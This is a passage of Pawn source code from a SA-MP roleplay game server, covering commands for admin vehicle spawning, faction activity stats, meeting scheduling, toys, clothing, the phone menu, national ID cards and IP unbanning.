		if(inleft<0||inleft+inright+GetVehiclePoolSize()>MAX_VEHICLES)return SCM(playerid,COLOR_YELLOW2,"Error: Invalid amount in left.");
		if(inright<0||inright+inleft+GetVehiclePoolSize()>MAX_VEHICLES)return SCM(playerid,COLOR_YELLOW2,"Error: Invalid amount in right.");
        GetPlayerPos(playerid,X,Y,Z);
		GetPlayerFacingAngle(playerid,R);
		for(new i=0;i<inright;i++)
		{
			GetXYInRightOfPlayer(playerid,tmpx,tmpy,disx);
			disx+=4.5;
			temp = CreateVehicle(car, tmpx, tmpy, Z+1, R, color1, color2, -1);
			LinkVehicleToInterior(temp, int);
			SetVehicleVirtualWorld(temp, vw);
			if(PlayerInfo[playerid][pAdmin] < 12){SetVehicleNumberPlate(temp, "{F90000}Admin Veh");}else{SetVehicleNumberPlate(temp, "{FF0000}Founder Veh");}
			CreatedCars[CreatedCar] = temp;
			CreatedCar ++;
			IsValidAVeh[temp] = true;
			VehOwned[temp] = 2;
			VehOwner[temp] = playerid;
			format(str, sizeof(str), "Vehicle {ffffff}%d{ff6347} spawned.",temp);
			SCM(playerid, COLOR_LIGHTRED, str);
		}
		disx=4.5;
		for(new i=0;i<inleft;i++)
		{
			GetXYInLeftOfPlayer(playerid,tmpx,tmpy,disx);
			disx+=4.5;
			temp = CreateVehicle(car, tmpx, tmpy, Z+1, R, color1, color2, -1);
			LinkVehicleToInterior(temp, int);
			SetVehicleVirtualWorld(temp, vw);
			if(PlayerInfo[playerid][pAdmin] < 12){SetVehicleNumberPlate(temp, "{F90000}Admin Veh");}else{SetVehicleNumberPlate(temp, "{FF0000}Founder Veh");}
			CreatedCars[CreatedCar] = temp;
			CreatedCar ++;
			IsValidAVeh[temp] = true;
			VehOwned[temp] = 2;
			VehOwner[temp] = playerid;
			format(str, sizeof(str), "Vehicle {ffffff}%d{ff6347} spawned.",temp);
			SCM(playerid, COLOR_LIGHTRED, str);
		}
		format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Vehicle %s created by %s [Car-Create-Loop-#%i~#%i].",aVehicleNames[car-400],PlayerInfo[playerid][pName],inleft,inright);
		SendAdminMessage(COLOR_AdminWarn, str);
		return 1;
		}
		if(strcmp(cmd, "/myactivity", true) == 0)
		{
		if(GetPlayerFactionID(playerid) == 0 || GetPlayerFactionID(playerid) == 7)return Error(playerid, "Error: You can't use this command.")
		new facid,cht[144];
		if(PINFO[playerid][pLeader] >= 1)facid = PINFO[playerid][pLeader];
		if(PINFO[playerid][pLeader] == 0)facid = PINFO[playerid][pMember];
		if(facid == 5 || facid == 6 || facid == 12 || facid == 13 || facid == 14 || facid == 15)
		{
		format(cht, sizeof(cht), "Materials Put: %s | Drugs Put: %s | Kills On War: %s | Deaths On War: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]), FormatNumber(PINFO[playerid][pFAct3]), FormatNumber(PINFO[playerid][pFAct4]));
		}
		if(facid == 1)
		{
		format(cht, sizeof(cht), "Arrests: %s | Tickets: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]));
		}
		if(facid == 2)
		{
		format(cht, sizeof(cht), "Arrests: %s | Frisk: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]));
		}
		if(facid == 3)
		{
		format(cht, sizeof(cht), "Arrests: %s | Wanted Kills: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]));
		}
		if(facid == 4)
		{
		format(cht, sizeof(cht), "Heals: %s | SHeals: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]));
		}
		if(facid == 8)
		{
		format(cht, sizeof(cht), "Killed Contracts: %s", FormatNumber(PINFO[playerid][pFAct1]));
		}
		if(facid == 9)
		{
		format(cht, sizeof(cht), "News: %s | Lives: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]));
		}
		if(facid == 10)
		{
		format(cht, sizeof(cht), "Arrived Passengers: %s", FormatNumber(PINFO[playerid][pFAct1]));
		}
		if(facid == 11)
		{
		format(cht, sizeof(cht), "Started Lessons: %s | Given Licenses: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]));
		}
		if(facid == 16)
		{
		format(cht, sizeof(cht), "Towed Cars At LS: %s | Towed Cars At LV: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]));
		}
		if(facid == 17)
		{
		format(cht, sizeof(cht), "Freed People From Jail: %s | Cleared People's Wanteds: %s", FormatNumber(PINFO[playerid][pFAct1]), FormatNumber(PINFO[playerid][pFAct2]));
		}
		SCM(playerid, COLOR_Good, cht);
		return 1;
 		}
		if(strcmp(cmd, "/stopsmeeting", true) == 0)
		{
		if(PINFO[playerid][pSlp] == 0 && PINFO[playerid][pAdmin] < 6 && !IsHoster(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
        if(MeetInfo[18][mMeeting] != 2) return SCM(playerid, COLOR_YELLOW2, "Error: Meeting isn't started.");
        MeetInfo[18][mMeeting] = 0;
        new asxw[144],topad=9999,tophl=9999,topld=9999,query[300];
        topad=GTAD();tophl=GTHL();topld=GTLD();
	    format(asxw, sizeof(asxw), " Staff meeting has stopped by Admin %s", RPName(playerid));
	    SendStaffMessage(COLOR_LIGHTRED, asxw);
	    if(topad!=9999)
	    {
	    format(asxw, sizeof(asxw), " Top admin for this week is %s(%i) who we chose %s based on %s activity.", RPName(topad), topad, (PINFO[topad][pSex]==1)?("him"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
	    SendStaffMessage(COLOR_LIGHTRED, asxw);
		PlayerInfo[topad][pStaffDays] += 5;
		SaveKonVal(topad, "pStaffDays", PINFO[topad][pStaffDays]);
		SCM(playerid, COLOR_SINARANG, "You are best admin of this week, we gave you 5 days in staff for prize.");
	    }
	    else
	    {
	    SendStaffMessage(COLOR_LIGHTRED, " We haven't any top admin this week.");
	    }
	    if(tophl!=9999)
	    {
	    format(asxw, sizeof(asxw), " Top helper for this week is %s(%i) who we chose %s based on %s activity.", RPName(tophl), tophl, (PINFO[topad][pSex]==1)?("him"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
	    SendStaffMessage(COLOR_LIGHTRED, asxw);
		PlayerInfo[tophl][pStaffDays] += 10;
		SaveKonVal(tophl, "pStaffDays", PINFO[tophl][pStaffDays]);
		SCM(playerid, COLOR_SINARANG, "You are best helper of this week, we gave you 10 days in staff for prize.");
	    }
	    else
	    {
	    SendStaffMessage(COLOR_LIGHTRED, " We haven't any top admin this week.");
	    }
	    if(topld!=9999)
	    {
	    format(asxw, sizeof(asxw), " Top leader for this week is %s(%i) who we chose %s based on %s activity.", RPName(topld), topld, (PINFO[topad][pSex]==1)?("him"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
	    SendStaffMessage(COLOR_LIGHTRED, asxw);
		PlayerInfo[topld][pStaffDays] += 10;
		SaveKonVal(topld, "pStaffDays", PINFO[topld][pStaffDays]);
		SCM(playerid, COLOR_SINARANG, "You are best leader of this week, we gave you 10 days in staff for prize.");
	    }
	    else
	    {
	    SendStaffMessage(COLOR_LIGHTRED, " We haven't any top admin this week.");
	    }
	    ResetSAct();
        mysql_format(handle, query,300,"UPDATE `meetings` SET `mYear`='%d',`mMonth`='%d',`mDay`='%d',`mHour`='%d',`mMinute`='%d',`mSecond`='%d',`mMeeting`='%d' WHERE `mFaction`='18' AND `mMeeting`='%d'", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond], MeetInfo[18][mMeeting], MeetInfo[18][mMeeting]);
	    mysql_function_query(handle,query,false,"SendQuery","");
		return 1;
		}
		if(strcmp(cmd, "/stopfmeeting", true) == 0)
		{
		if(PINFO[playerid][pLeader] == 0 || PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        if(MeetInfo[PINFO[playerid][pLeader]][mMeeting] != 2) return SCM(playerid, COLOR_YELLOW2, "Error: You can't set meeting time now.");
        MeetInfo[PINFO[playerid][pLeader]][mMeeting] = 0;
        new asxw[144],facid,toppl=9999,query[300];
		if(PINFO[playerid][pLeader] >= 1)facid = PINFO[playerid][pLeader];
		if(PINFO[playerid][pLeader] == 0)facid = PINFO[playerid][pMember];
  	    format(asxw, sizeof(asxw), "{ffffff}Meeting of faction %s{FFFFFF} has stopped by leader %s",GetFacName(facid), RPName(playerid));
        AdminWarn(asxw);
        toppl=GTF(facid);
	    format(asxw, sizeof(asxw), "[Faction]: Faction meeting has stopped by Leader %s", RPName(playerid));
	    SendFamilyMessage(facid, COLOR_LIGHTBLUE, asxw);
	    if(toppl != 9999)
	    {
	    format(asxw, sizeof(asxw), "[Faction]: Top member is {18C8FF}%s(%i){33ccff} who has more activity on this week.", RPName(toppl), toppl);
	    SendFamilyMessage(facid, COLOR_LIGHTBLUE, asxw);
	    GivePlayerPool(toppl, 70000);
	    SCM(toppl, COLOR_SINARANG, "Your prize for being top member of this week is $70,000 which we gave you.");
	    }
	    else
	    {
	    format(asxw, sizeof(asxw), "[Faction]: We haven't any top member this week.", RPName(toppl), toppl);
	    SendFamilyMessage(facid, COLOR_LIGHTBLUE, asxw);
	    }
	    GivePlayerPool(playerid, 200000);
	    SCM(playerid, COLOR_SINARANG, "Your salary is $200,000 which we gave you.");
		GiveSalaryEx(facid);
        mysql_format(handle, query,300,"UPDATE `meetings` SET `mYear`='%d',`mMonth`='%d',`mDay`='%d',`mHour`='%d',`mMinute`='%d',`mSecond`='%d',`mMeeting`='%d' WHERE `mFaction`='%d' AND `mMeeting`='%d'", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond], MeetInfo[GetPlayerFactionID(playerid)][mMeeting], GetPlayerFactionID(playerid), MeetInfo[GetPlayerFactionID(playerid)][mMeeting]);
	    mysql_function_query(handle,query,false,"SendQuery","");
		return 1;
		}
		if(strcmp(cmd, "/fmeetingtime", true) == 0)
		{
		if(PINFO[playerid][pLeader] == 0 || PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        if(MeetInfo[PINFO[playerid][pLeader]][mMeeting] == 2) return SCM(playerid, COLOR_YELLOW2, "Error: You can't set meeting time now.");
		new year, month, day, yearx, dayx, monthx, hour, minute, second, difference, query[300], cht[144];
		getdate(yearx,monthx,dayx);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /fmeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		year = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /fmeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		month = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /fmeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		day = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /fmeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		hour = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /fmeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		minute = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /fmeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		second = strval(tmp);
		//if(!IsValidDate(day, month, year))return Error(playerid, "Error: This date isn't exist.")
		if(!IsDateValid(year, month, day))return Error(playerid, "Error: Time you entered for meeting isn't valid.")
		if(!IsTimeValid(hour, minute, second))return Error(playerid, "Error: Time you entered for meeting isn't valid.")
		if(GetWeekDay(day, month, year)<4)return Error(playerid, "Error: Your faction meeting should start at weekend.")
		difference = GetDateDifference(yearx, monthx, dayx, year, month, day);
		if(difference<3)return Error(playerid, "Error: Entered meeting time should have at least 3 days difference between current date.")
		//if(!IsAnySpacesBetweenDate(year, month, day, hour, minute, second))return Error(playerid, "Error: You can't set meeting time for this date. Set it for +3 days later.")
        mysql_format(handle, query,300,"UPDATE `meetings` SET `mYear`='%d',`mMonth`='%d',`mDay`='%d',`mHour`='%d',`mMinute`='%d',`mSecond`='%d',`mMeeting`='1' WHERE `mFaction`='%d'", year, month, day, hour, minute, second, GetPlayerFactionID(playerid));
	    mysql_function_query(handle,query,false,"SendQuery","");
        MeetInfo[GetPlayerFactionID(playerid)][mYear] = year;
        MeetInfo[GetPlayerFactionID(playerid)][mMonth] = month;
        MeetInfo[GetPlayerFactionID(playerid)][mDay] = day;
        MeetInfo[GetPlayerFactionID(playerid)][mHour] = hour;
        MeetInfo[GetPlayerFactionID(playerid)][mMinute] = minute;
        MeetInfo[GetPlayerFactionID(playerid)][mSecond] = second;
        MeetInfo[GetPlayerFactionID(playerid)][mMeeting] = 1;
	    format(cht, sizeof(cht), "[Faction]: Faction meeting has set to %02d/%02d/%02d %02d:%02d:%02d by Leader %s", year, month, day, hour, minute, second, RPName(playerid));
	    SendFamilyMessage(PINFO[playerid][pLeader], COLOR_LIGHTBLUE, cht);
	    format(cht, sizeof(cht), "{ffffff}Leader %s has set %s{FFFFFF}'s meeting time to %02d/%02d/%02d %02d:%02d:%02d",RPName(playerid), GetFacName(PINFO[playerid][pLeader]), year, month, day, hour, minute, second);
        AdminWarn(cht);
		return 1;
		}
		if(strcmp(cmd, "/smeetingtime", true) == 0)
		{
		if(PINFO[playerid][pSlp] == 0 && PINFO[playerid][pAdmin] < 6 && !IsHoster(playerid))return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        if(MeetInfo[18][mMeeting] == 2) return SCM(playerid, COLOR_YELLOW2, "Error: You can't set staff meeting time now.");
		new year, month, day, yearx, dayx, monthx, hour, minute, second, query[300], cht[144];
		getdate(yearx,monthx,dayx);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /smeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		year = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /smeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		month = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /smeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		day = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /smeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		hour = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /smeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		minute = strval(tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /smeetingtime <Year> <Month> <Day> <Hour> <Minute> <Second>");
		second = strval(tmp);
		if(!IsDateValid(year, month, day))return Error(playerid, "Error: Time you entered for meeting isn't valid.")
		if(!IsTimeValid(hour, minute, second))return Error(playerid, "Error: Time you entered for meeting isn't valid.")
		if(GetWeekDay(day, month, year)<4)return Error(playerid, "Error: Your faction meeting should start at weekend.")
        mysql_format(handle, query,300,"UPDATE `meetings` SET `mYear`='%d',`mMonth`='%d',`mDay`='%d',`mHour`='%d',`mMinute`='%d',`mSecond`='%d',`mMeeting`='1' WHERE `mFaction`='18'", year, month, day, hour, minute, second);
	    mysql_function_query(handle,query,false,"SendQuery","");
        MeetInfo[18][mYear] = year;
        MeetInfo[18][mMonth] = month;
        MeetInfo[18][mDay] = day;
        MeetInfo[18][mHour] = hour;
        MeetInfo[18][mMinute] = minute;
        MeetInfo[18][mSecond] = second;
        MeetInfo[18][mMeeting] = 1;
	    format(cht, sizeof(cht), " Staff meeting has set to %02d/%02d/%02d %02d:%02d:%02d by Admin %s", year, month, day, hour, minute, second, RPName(playerid));
	    SendStaffMessage(COLOR_LIGHTRED, cht);
		return 1;
		}
		if(strcmp(cmd, "/sgh", true) == 0)
		{
		if((PINFO[playerid][pSlp] == 0 && PINFO[playerid][pAdmin] < 6) || IsHoster(playerid))return Error(playerid, "Error: You are not authorized to use this command.")
		if(MeetInfo[18][mMeeting]!=2)return Error(playerid, "Error: You can't teleport all staff now.")
		GetAllStaff(playerid);
		return 1;
		}
		
if(strcmp(cmd, "/toys", true) == 0)
{
	if(!IsAtClothShop(playerid))return SCM(playerid,COLOR_YELLOW2,"Error: You are not at binco.");
	if(phoneloaded[playerid]!=0){new JJN[100];format(JJN, sizeof(JJN), "Error: First close i%s.", SERVER_NAME1);SCM(playerid,COLOR_YELLOW2,JJN);return 1;}
	if(ToysStudioDT[playerid][Enable] != 0)
	{
		for(new i = 0; i < sizeof(OBJTTT); i++)TextDrawHideForPlayer(playerid, OBJTTT[i]);
		for(new i = 0; i < 13; i++)PlayerTextDrawHide(playerid, SELECTER[playerid][i]);
	    for(new i = 0; i < sizeof(ToysGTD); i++)TextDrawHideForPlayer(playerid, ToysGTD[i]);
		for(new i = 0; i < 12; i++)PlayerTextDrawHide(playerid, TOYS_PTD[playerid][i]);
		CancelSelectTextDraw(playerid);
		for(new i = 0; i < 20; i++)
		{
		    PlayerObjectsInfo[playerid][i][ao_enable] = 0;
		    UpdateToySlot(playerid, i);
		    if(LastONOffToys[playerid][i] == 1)
		    {
		        PlayerObjectsInfo[playerid][i][ao_enable] = 1;
		    	UpdateToySlot(playerid, i);
		    }
		    else
		    {
		        PlayerObjectsInfo[playerid][i][ao_enable] = 0;
		    	UpdateToySlot(playerid, i);
		    }
		}
		ToysStudioDT[playerid][Enable] = 0;
		SetCameraBehindPlayer(playerid);
		TogglePlayerControllable(playerid, true);
		CanYES[playerid]=0;
	}
	else
	{
		for(new i = 0; i < 20; i++)
		{
		    LastONOffToys[playerid][i] = PlayerObjectsInfo[playerid][i][ao_enable];
		    PlayerObjectsInfo[playerid][i][ao_enable] = 0;
		    UpdateToySlot(playerid, i);
		}
		PlayerObjectsInfo[playerid][0][ao_enable] = 1;
		UpdateToySlot(playerid, 0);
		ShowToysStudio(playerid);
		TogglePlayerControllable(playerid, false);
		new Float:Cam[5];
		GetPlayerPos(playerid, Cam[0],Cam[1],Cam[2]);
		GetXYInFrontOfPlayer(playerid,Cam[3],Cam[4],2);
		SetPlayerCameraPos(playerid, Cam[3],Cam[4], Cam[2]);
		SetPlayerCameraLookAt(playerid, Cam[0],Cam[1],Cam[2]);
	}
	return 1;
}
if(strcmp(cmd, "/toy", true) == 0 || strcmp(cmd, "/t", true) == 0)
{
	if(ToysStudioDT[playerid][Enable] != 0)return SendClientMessage(playerid,COLOR_YELLOW2,"Error: Close toys studio first.");
    new strptoy[2000],strptoy2[100],strenb[46],toyname[85];
	for(new i = 0; i < MAX_PLAYER_TOYS_SLOT; i++)
	{
		if(PlayerObjectsInfo[playerid][i][ao_enable]==1) format(strenb, 256,"(%s)","{00ff00}Attached{ffffff}");
    	if(PlayerObjectsInfo[playerid][i][ao_enable]==0) format(strenb, 256,"(%s)","{ff0000}UnAttached{ffffff}");
    	if(PlayerObjectsInfo[playerid][i][ao_model]==-1&&PlayerObjectsInfo[playerid][i][ao_bone]==-1) format(strenb, 256,"");
		for(new b=0;b<sizeof(TOYS_LIST);b++)
		{
		    if(PlayerObjectsInfo[playerid][i][ao_model]==TOYS_LIST[b][TOY_OB_ID])
			{
				format(toyname,85,"%s",TOYS_LIST[b][TOY_NAME]);
			}
			else if(PlayerObjectsInfo[playerid][i][ao_model]==-1&&PlayerObjectsInfo[playerid][i][ao_bone]==-1)
			{
				format(toyname,85,"Empty");
			}
		}
		format(strptoy2, 60,"{ffffff}%i. %s %s\n",i+1,toyname,strenb);
		strcat(strptoy, strptoy2, 2000);

        //ShowPlayerDialog(playerid, DIALOG_PLAYERTOYS, DIALOG_STYLE_LIST, "Toys List", strptoy, "Toggle", "Close");
	}
	ShowPlayerDialog(playerid, DIALOG_PLAYERTOYS, DIALOG_STYLE_LIST, "Toys List", strptoy, "Toggle", "Close");
    return 1;
}
		
		if(strcmp(cmd, "/nc", true) == 0)
		{
		if(PINFO[playerid][pNCard] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't national card.");
		TogNC(playerid);
		return 1;
		}
		if(strcmp(cmd, "/checknc", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(IsHoster(playerid))return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)){SCM(playerid, COL_SYN, "Syntax: /checknc <CardNumber>");SCM(playerid, COLOR_Good, "Tip: Type card number without first 098.");return 1;}
	    new nc = strval(tmp);
		new query[150],namex[25],frmt[144];
        mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pNCNum='%d'", nc);
        new Cache:result=mysql_query(handle,query);
        if(cache_num_rows()==0) return SCM(playerid,COLOR_YELLOW2,"Error: Entered card number is invalid.");
        cache_get_field_content(0,"pName",namex,handle,sizeof(namex));
		cache_delete(result);
		format(frmt, sizeof(frmt), "Name: {ffF5DE}%s{F5DEB3}, Card Number: {ffF5DE}098-%d", namex, nc);
		SCM(playerid, COLOR_SINARANG, frmt);
		return 1;
		}
		
		if(strcmp(cmd, "/getnc", true) == 0)
		{
		if(!PlayerToPoint(3, playerid, 822.011718,-0.335233,1004.179687)&&!PlayerToPoint(3, playerid, 822.009704,6.295105,1004.179687))return Error(playerid, "Error: You should be close to National Card Exporter Service.")
		new getNC[370];
		strcat(getNC, "You are buying national card.\nThere are some agreements that you should agree them to buy this card.\n National Card capabilities:\n* You can buy house and business.\n* You can use all bank's features like transfer, withdraw and deposit.\n* It will cost you $65,000.\n# If you buy national card, you will be an official player for us. So you should observance our laws.");
		ShowPlayerDialog(playerid, 8121, DIALOG_STYLE_MSGBOX,"National Card", getNC, "Agree", "Disagree");
		BizBZ[playerid]=TooBiz[playerid];
		return 1;
		}
		/*
		if (strcmp("/numberhack", cmdtext, true, 10) == 0)
		{
			new strin[128];
			format(strin,128,"number hack is %i",hacknumber);
			SendClientMessage(playerid,-1,strin);
		    return 1;

		}
		*/
		/*
	    if (strcmp("/smsfrom", cmdtext, true, 10) == 0)
		{
			onselfihiden[playerid]=7;
			ShowNokiaMenu(playerid,7);
		    return 1;
		}
		*/
		/*
		if (strcmp("/connect", cmdtext, true, 10) == 0)
		{
			phoneloaded[playerid]=5;
	   		ShowNokiaMenu(playerid,5);
		    return 1;
		}
		*/
		/*
		if (strcmp("/styleselfi", cmdtext, true, 10) == 0)
		{
			new style[256];
			format(style,256,"Cdistance: %f, Cheight: %f, Ldistance: %f, Lheight: %f",Cdistance[playerid],CHeight[playerid],Ldistance[playerid],LHeight[playerid]);
			SendClientMessage(playerid,-1,style);
		    return 1;
		}
		*/
		if(strcmp(cmd, "/phone", true) == 0)
		{
		if(CanYES[playerid]==1){new JJN[130];format(JJN, sizeof(JJN), "Error: You couldn't load your i%s when toys studio shown up.", SERVER_NAME1);SCM(playerid,COLOR_YELLOW2,JJN);return 1;}
			if(phoneloaded[playerid]== 9 && onselfihiden[playerid]==1)
		    {
		        onselfihiden[playerid]=0;
		        ShowNokiaMenu(playerid,9);
		        SendClientMessage(playerid,COLOR_Good,"Tip: Press key 'Y' to enable mouse cursor.");
		        return 1;
		    }
			if(phoneloaded[playerid]==0)
			{
	            ShowNokiaMenu(playerid,1);
			    //SelectTextDraw(playerid, 0x00FFFFAA);
			    SendClientMessage(playerid,COLOR_Good,"Tip: Press key 'Y' to enable mouse cursor.");
			    phoneloaded[playerid]=1;
			}
			else
			{
			    if(phoneloaded[playerid]==9)
			    {
				    ShowNokiaMenu(playerid,0);
				    CancelSelectTextDraw(playerid);
				    onselfihiden[playerid]=1;
			        return 1;
			    }
			    ShowNokiaMenu(playerid,0);
			    CancelSelectTextDraw(playerid);
			    phoneloaded[playerid]=0;
			}
		    return 1;
		}
		if(strcmp(cmd, "/unipsban", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
        tmp = strtok(cmdtext, idx);new xName[25], query[512], ppName[25], ppIP[40], frmt[144], ppOnline;
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /unipsban <FullName>");
	    format(xName, sizeof(xName), tmp);
        mysql_format(handle, query, sizeof(query),"SELECT * FROM `users` WHERE pName='%e'", xName);
        new Cache:result=mysql_query(handle,query);
        if(cache_num_rows()==0)return SCM(playerid,COLOR_YELLOW2,"Error: That player doesn't exist.");
        cache_get_field_content(0,"pName",ppName,handle,sizeof(ppName));
        cache_get_field_content(0,"pIp",ppIP,handle,sizeof(ppIP));
        ppOnline = cache_get_field_content_int(0,"pOnline");
        cache_delete(result);
        if(ppOnline!=0)return Error(playerid, "Error: You can't unban this player's ip address.")
	    format(frmt, sizeof(frmt), "{ffffff}Admin %s has unbanned %s's IP Address",RPName(playerid), ppName);
        AdminWarn(frmt);
        UnBlockIpAddress(ppIP);
        format(frmt, sizeof(frmt), "unbanip %s", ppIP);
        SendRconCommand(frmt);
		return 1;
		}
		if(strcmp(cmd, "/clothes", true) == 0)
		{
		if(!IsAtClothShop(playerid))return SCM(playerid,COLOR_YELLOW2,"Error: You are not at binco.");
		if(PINFO[playerid][pLeader]==7)return Error(playerid, "Error: Mayor couldn't change their skin.")
		if(PINFO[playerid][pLeader]>=1)return Error(playerid, "Error: Leaders can't use this command.")
		if(IsInFaction(playerid))// Faction
		{
            new y=GetPlayerFactionID(playerid);
			if(y==1)
			{
	        new skinl[7];
	        skinl[0] = 280;
	        skinl[1] = 281;
	        skinl[2] = 282;
	        skinl[3] = 283;
	        skinl[4] = 284;
	        skinl[5] = 288;
	        skinl[6] = 306;
	        ShowModelSelectionMenuEx(playerid, skinl, 7, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==2)
			{
	        new skinl[5];
	        skinl[0] = 163;
	        skinl[1] = 164;
	        skinl[2] = 165;
	        skinl[3] = 166;
	        skinl[4] = 93;
	        ShowModelSelectionMenuEx(playerid, skinl, 5, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==3)
			{
	        new skinl[3];
	        skinl[0] = 285;
	        skinl[1] = 93;
	        ShowModelSelectionMenuEx(playerid, skinl, 3, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==4)
			{
	        new skinl[6];
	        skinl[0] = 274;
	        skinl[1] = 275;
 	        skinl[2] = 276;
	        skinl[3] = 279;
	        skinl[4] = 70;
	        skinl[5] = 308;
	        ShowModelSelectionMenuEx(playerid, skinl, 6, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==5)
			{
	        new skinl[6];
	        skinl[0] = 121;
	        skinl[1] = 122;
 	        skinl[2] = 123;
 	        skinl[3] = 112;
 	        skinl[4] = 59;
 	        skinl[5] = 214;
	        ShowModelSelectionMenuEx(playerid, skinl, 6, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==6)
			{
	        new skinl[3];
	        skinl[0] = 117;
	        skinl[1] = 118;
	        skinl[2] = 233;
	        ShowModelSelectionMenuEx(playerid, skinl, 3, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==8)
			{
	        new skinl[7];
	        skinl[0] = 98;
	        skinl[1] = 208;
 	        skinl[2] = 240;
	        skinl[3] = 117;
	        skinl[4] = 118;
	        skinl[5] = 186;
	        skinl[6] = 93;
	        ShowModelSelectionMenuEx(playerid, skinl, 7, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==9)
			{
	        new skinl[5];
	        skinl[0] = 148;
	        skinl[1] = 150;
 	        skinl[2] = 187;
	        skinl[3] = 141;
	        skinl[4] = 188;
	        ShowModelSelectionMenuEx(playerid, skinl, 5, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==10)
			{
	        new skinl[4];
	        skinl[0] = 261;
	        skinl[1] = 253;
 	        skinl[2] = 56;
	        skinl[3] = 255;
	        ShowModelSelectionMenuEx(playerid, skinl, 4, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==11)
			{
	        new skinl[4];
	        skinl[0] = 153;
	        skinl[1] = 259;
	        skinl[2] = 60;
	        skinl[3] = 11;
	        ShowModelSelectionMenuEx(playerid, skinl, 4, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==12)
			{
	        new skinl[8];
	        skinl[0] = 105;
	        skinl[1] = 106;
	        skinl[2] = 107;
	        skinl[3] = 108;
	        skinl[4] = 269;
	        skinl[5] = 270;
	        skinl[6] = 271;
	        skinl[7] = 65;
	        ShowModelSelectionMenuEx(playerid, skinl, 8, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==13)
			{
	        new skinl[6];
	        skinl[0] = 122;
